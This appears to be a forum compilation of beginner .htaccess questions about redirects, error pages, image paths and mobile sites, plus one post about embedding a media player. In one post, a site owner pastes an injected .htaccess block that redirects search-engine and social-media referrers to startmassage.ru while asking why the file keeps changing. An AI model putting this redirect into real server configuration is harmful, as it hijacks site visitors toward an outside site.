HTML - .htaccess Files
hey... i didnt know what forum to post this in, so admins, do what you want with this thread...
I've recently taken over the web designing for a company... the site is already made, and the previous designer has dropped out, and the company needs me to make updates, add articles, etc. There are .htaccess files in almost every directory and subdirectory throughout the site. When I go to add an image, and make a link to it on a page, the image is not found, even though the source is correct. ex - initially, the page links to an image at "images/image1.jpg" . I make an image2.jpg, place it in the right folder, and try to link to it - "images/image2.jpg" but the image cannot be displayed on the site (says it cannot be found - same as a 404). I am assuming this has to do with the htaccess permissions and all that stuff (also in each directory is a "_notes" subdirectory and another directory like that) but I'm not sure. I wikipedia'd htaccess files, and read that they were made for apache servers... the server hosting the site I am working on uses IIS... another confusing problem. Is there anyway to edit these .htaccess files so that I can add more images to the site? Also, why cant I see images these 'blocked' images? Is there any way to disable this blocking? Similar TutorialsI am not sure if this is the right place to ask this question, but here it goes. I have renamed a directory. To help with confusion I have decided to setup a .htaccess file in the old directory to redirect anyone who goes there by mistake. Old: bigdogcattle.com/?=Cattle/ New: bigdogcattle.com/?=Show-Cattle/ I am able to setup the file to work when someone types in: bigdogcattle.com/Cattle/, but not when they type in bigdogcattle.com/?=Cattle/. Can someone help? Thanks Jamie Okay I want to make a .htaccess file but dont know where to start.. the tutorials on the net leave me way past confused.. I want it to be a 403 forbidden error message! any help ? I have about 300 files in the format gb3aa.htm, gb3ab.htm, gb3zz.htm etc in my root directory and I want to redirect users to /newdirectory/gb3aa.htm etc If I put 300 entries in my .htaccess file such as: redirect /gb3aa.htm http://www.mydomain.com/newdirectory/gb3aa.htm it would work fine, but there must be a smarter way of doing this? I did try: RedirectMatch gb3(.*)\.htm$ /newdirectory/gb3$1.htm but this did not work. So, what is the smart way of achieving this please? Hello, I have finished my website (about ~95%, only few things left to do and one of them - .htaccess). Created .htacces with content: Code: deny from all ErrorDocument 403 /403.html and puted in folders. Ex. Lets say i have these fodler's: gg nobody templates I wanna block access to templates folder, so putted .htaccess inside. Everythink work good, but let's say templates have inside folder: tpl So, full path templates/tpl. Putted inside .htaccess file too, but these problem: 403.html file loading, but not images. My files: 403.html and folder err with content: error.png and favicon.ico It's possible to make work 403.html from any folder in root, because now if there two or more folder images doesn't loadin. I'm new here so if I break any rules or post in wrong place please tell me. Basically I have a login system setup using .htaccess and .htpasswd. Is there any way to make a registration form so that when someone registers it automatically adds their username and password to the .htpasswd file? Thanks in advance Matt Hi there! I've got this .htaccess Code: RewriteEngine on RewriteRule ^(.*/)$ index.php?$1 RewriteRule ^(.*#)$ index.php?$1 RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond %{HTTP_HOST} !^www\.mysite\.com\.ar$ [NC] RewriteCond %{HTTP_HOST} ^(www\.)?([^\.]+)\.mysite\.com\.ar$ [NC] RewriteRule ^(.*)$ /index.php?$1 [QSA,L] So far it redirects whatever that looks like a folder (/something/, with an ending slash), and also any kind of subdomains. Now I wish to make use of those subdomains for languages (like: us.mysite.com.ar, for the USA site). Thing is, ALL of my images are linked like: HTML Code: src="/images/myimage.png" So whether I'm on a different subdomain than the regular one, the images won't be linked correctly. Aaaand it's priority that the subdomain remains in the URL (no redirection). Is there any way out of this without me having to replace every image (there are at least 200 xD)? Otherwise, I could redirect everything to index.php no matter what is it, and then have it generate the corresponding file (in case of an image or other file), or generate a page (in case of a folder, like, i dunno: mysite.com.ar/news/). But isn't this a lot slower and heavier for the server?. Anyway, please help me to have images in my site no matter what's the subdomain >.< Thanks everyone for your ideas in advance!! =) Hi, I've just installed an SSL certificate on a shared server which results in my URL being changed from : http://www.mywebsite.com to https://web73.secure-secure.co.uk/mywebsite.com I have a few pages that I want to use SSL on, how can I use .htaccess mod rewrite to change the secure url to - https://www.mywebsite.com? thanks what if you cant get htaccess to become writeable in word press will it affect my blogging anybody know OK, guys.... Why does my .htaccess file keep getting rewritten? I change the file back, and within a few days it gets changed again. Befo Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] RewriteRule ^(.*)$ http://www.GreeleyElectric.com/$1 [R=301,L] </IfModule> After: Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ http://startmassage.ru/upday/index.php [R=301,L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.GreeleyElectric\.com$ [NC] </IfModule> Hi, At the moment I have my site redirecting to www.mysite.com if someone types mysite.com Now what I am looking to do is also redirect people typing w.mysite.com , ww.mysite.com & wwww.mysite.com This is the code I have in my .htaccess file currently Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^mysite\.com RewriteRule ^(.*)$ http://www.mysite.com/$1 [R=301,L] Let me know if you require anymore explaining. I am trying to get my .htaccess file to work with IE. It seems to work for with FF. Here is what I have: Code: ErrorDocument 404 /404.html <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/robots\.txt$ RewriteCond %{HTTP_HOST} !^www\.mydomain\.com$ [NC] RewriteRule ^(.*)$ http://www.mydomain.com/$1 [R=301,L] </IfModule> Hey guys, If I'm posting in wrong section I apologize I have a small problem what I need help with. I use a free service for redirecting people to my mobile site, but there service is down for last 6 days or something got wrong. Anyway I decided to use .htaccess rewrite to redirect them to mobile site. The problem I have is that I cant really find how to do it efficiently and what I need because I have two different mobile sites. here it goes: My site example.com First mobile site is example.com/index.php?template=3 (this one is mainly for blackberry and all rest mobile devices, and I like this one to load in opera mini also if possible) Second mobile site is example.com/index.php?template=5 (that one is specifically for iPhone and android phones) I am really don't know how to do it please! Thank you. I am trying to write an .htaccess file that accomplishes three things, but I can't get them to happen all at once. Do I have something out of order? (the file is not active right now) I am trying to: 1) redirect all non-www to www (for the root directory main site) 2) redirect two specific pages to new pages and retain the link juice 3) not redirect two subdirectories that have other domains pointed to them (www.bigcountryacres.info points to the first and www.kidslovedrbarton.com points to the 2nd) The following code almost works. The two old .htm pages on the main site are redirected to their .html versions just fine. When going to a subdirectory, you can reach the index page the first time. Then if you link to a subpage and then go back to the home page link (just index.htm), it gets redirected to my main site instead. Any idea of what I'm doing wrong? Options +FollowSymLinks RewriteEngine on RewriteCond %{REQUEST_URI} !^/_BigCountryAcres/ RewriteCond %{REQUEST_URI} !^/_DrBarton/ RewriteCond %{HTTP_HOST} ^integritivity.com [NC] RewriteRule ^(.*)$ http://www.integritivity.com/$1 [L,R=301] redirect 301 /WebDesign.htm http://www.integritivity.com/WebDesign.html redirect 301 /index.htm http://www.integritivity.com/index.html Thanks, Robin Ok guys I own the site www.top200.org. Currently there are multiple websites using bots to spam my lists with hits causing too much CPU time to be used and my provider shutting down my servers temporarily each time. I currently use Aardvark Top Sites script and I've heard of others having the same problem. A solution was posted to make a .htaccess file that prevents anyone, including bots from certain urls from accessing your site. So I created a .htaccess file and yet apparently the CPU time is still being overloaded because my lists are always down. Please read the following code and tell me if this is the correct format for a file named .htaccess to block visitors from these certain sites from visiting mine Once again, the file is titled .htaccess RewriteEngine on RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?5sohbet\.net/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?89erotik\.com/.*$ [NC,OR] RewriteCond %{HTTP_REFERER} !^$http(s)?://(www\.)?aklimdasin\.net/.*$[NC,OR] RewriteRule .* - [F,L] I have some .tif files that I want to display on my web site but they don't show up. What are my options? Thanks... Hi all, not sure if this is posted in the correct place... please move if not...! I am after some information about how to build OFT (Files Outlook File Templates). I cant find any information about how to build/develop them. It may be pretty straight forward but need some guidance. Any help or pointers would be greatly accepted! Thanks all Hurley! I'm sure this is probably one of the dumbest questions to appear here, but how would I get a link to a file to open that file in its native program - i.e. a .doc into Word or a .xls with Excel rather than in an IE plugin? Problem is, of course, whilst the IE plugins work, they don't have full functionality. I read somewhere that you could change the default settings in Windows, but part of what I'm trying to set up is on a business computer and of course, things like file associations and registry are tied down pretty tight so they can't be accessed, so I need to do it from within a page of links. Many thanks (in hope) hi guys.. hope sm1 gonna sort out my problem i am just a beginner to html script,and my problem is that i smhow manage to get script to include media player into my webpage but i am not able to add song file into in it for e.g if i want to add akon.mp3 or any other song i am not able to do it hope sm will help me thanx in advance script is here Code: <!-- Multi WM Player at www.rainbow.arch.scriptmania.com/scripts/music/ --> <OBJECT ID="music" height=70 width=230 classid="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=,1,52,701" standby="Loading Microsoft Windows Media Player components..." <!-- Change to value=0 to hide status --> <param name="ShowStatusBar" value="1"> <param name="AudioStream" value="-1"> <param name="AutoSize" value="0"> <param name="AutoStart" value="-1"> <param name="AnimationAtStart" value="-1"> <param name="AllowScan" value="-1"> <param name="AllowChangeDisplaySize" value="-1"> <param name="AutoRewind" value="-1"> <param name="Balance" value="0"> <param name="BaseURL" value> <param name="BufferingTime" value="5"> <param name="CaptioningID" value> <param name="ClickToPlay" value="-1"> <param name="CursorType" value="0"> <param name="CurrentPosition" value="-1"> <param name="CurrentMarker" value="0"> <param name="DefaultFrame" value> <param name="DisplayBackColor" value="0"> <param name="DisplayForeColor" value="16777215"> <param name="DisplayMode" value="0"> <param name="DisplaySize" value="0"> <param name="Enabled" value="-1"> <param name="EnableContextMenu" value="-1"> <param name="EnablePositionControls" value="-1"> <param name="EnableFullScreenControls" value="0"> <param name="EnableTracker" value="-1"> <param name="Filename" value> <param name="InvokeURLs" value="-1"> <param name="Language" value="-1"> <param name="Mute" value="0"> <param name="PlayCount" value="1"> <param name="PreviewMode" value="0"> <param name="Rate" value="1"> <param name="SAMILang" value> <param name="SAMIStyle" value> <param name="SAMIFileName" value> <param name="SelectionStart" value="-1"> <param name="SelectionEnd" value="-1"> <param name="SendOpenStateChangeEvents" value="-1"> <param name="SendWarningEvents" value="-1"> <param name="SendErrorEvents" value="-1"> <param name="SendKeyboardEvents" value="0"> <param name="SendMouseClickEvents" value="0"> <param name="SendMouseMoveEvents" value="0"> <param name="SendPlayStateChangeEvents" value="-1"> <param name="ShowCaptioning" value="0"> <param name="ShowControls" value="-1"> <param name="ShowAudioControls" value="-1"> <param name="ShowDisplay" value="0"> <param name="ShowGotoBar" value="0"> <param name="ShowPositionControls" value="-1"> <param name="ShowTracker" value="-1"> <param name="TransparentAtStart" value="-1"> <param name="VideoBorderWidth" value="0"> <param name="VideoBorderColor" value="0"> <param name="VideoBorder3D" value="0"> <param name="Volume" value="0"> <param name="WindowlessVideo" value="0"> <EMBED type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/Downloads/Contents/Products/MediaPlayer/" SRC="http://myserver/mypath/myfile.asf" name="MediaPlayer" height=70 width=230> </EMBED> </OBJECT> </div> <p> <BR> <INPUT id=song1 onclick=document.all.music.filename=document.all.song1.value; TYPE="RADIO" NAME="Music" VALUE="http://www.uploadhut.com/id153745/Crazy Frog Remixx ( WARNING VERY FUNNY!!).WAV"> Song 1</p> <p> <INPUT id=song2 onclick=document.all.music.filename=document.all.song2.value; TYPE="RADIO" NAME="Music" VALUE="http://servername/path/to/media.file"> Song 2</p> <p> <INPUT id=song3 onclick=document.all.music.filename=document.all.song3.value; TYPE="RADIO" NAME="Music" VALUE="http://servername/path/to/media.file"> Song 3</p> if i choose song 1 it should play akon.mp3 and so on...... plz help me |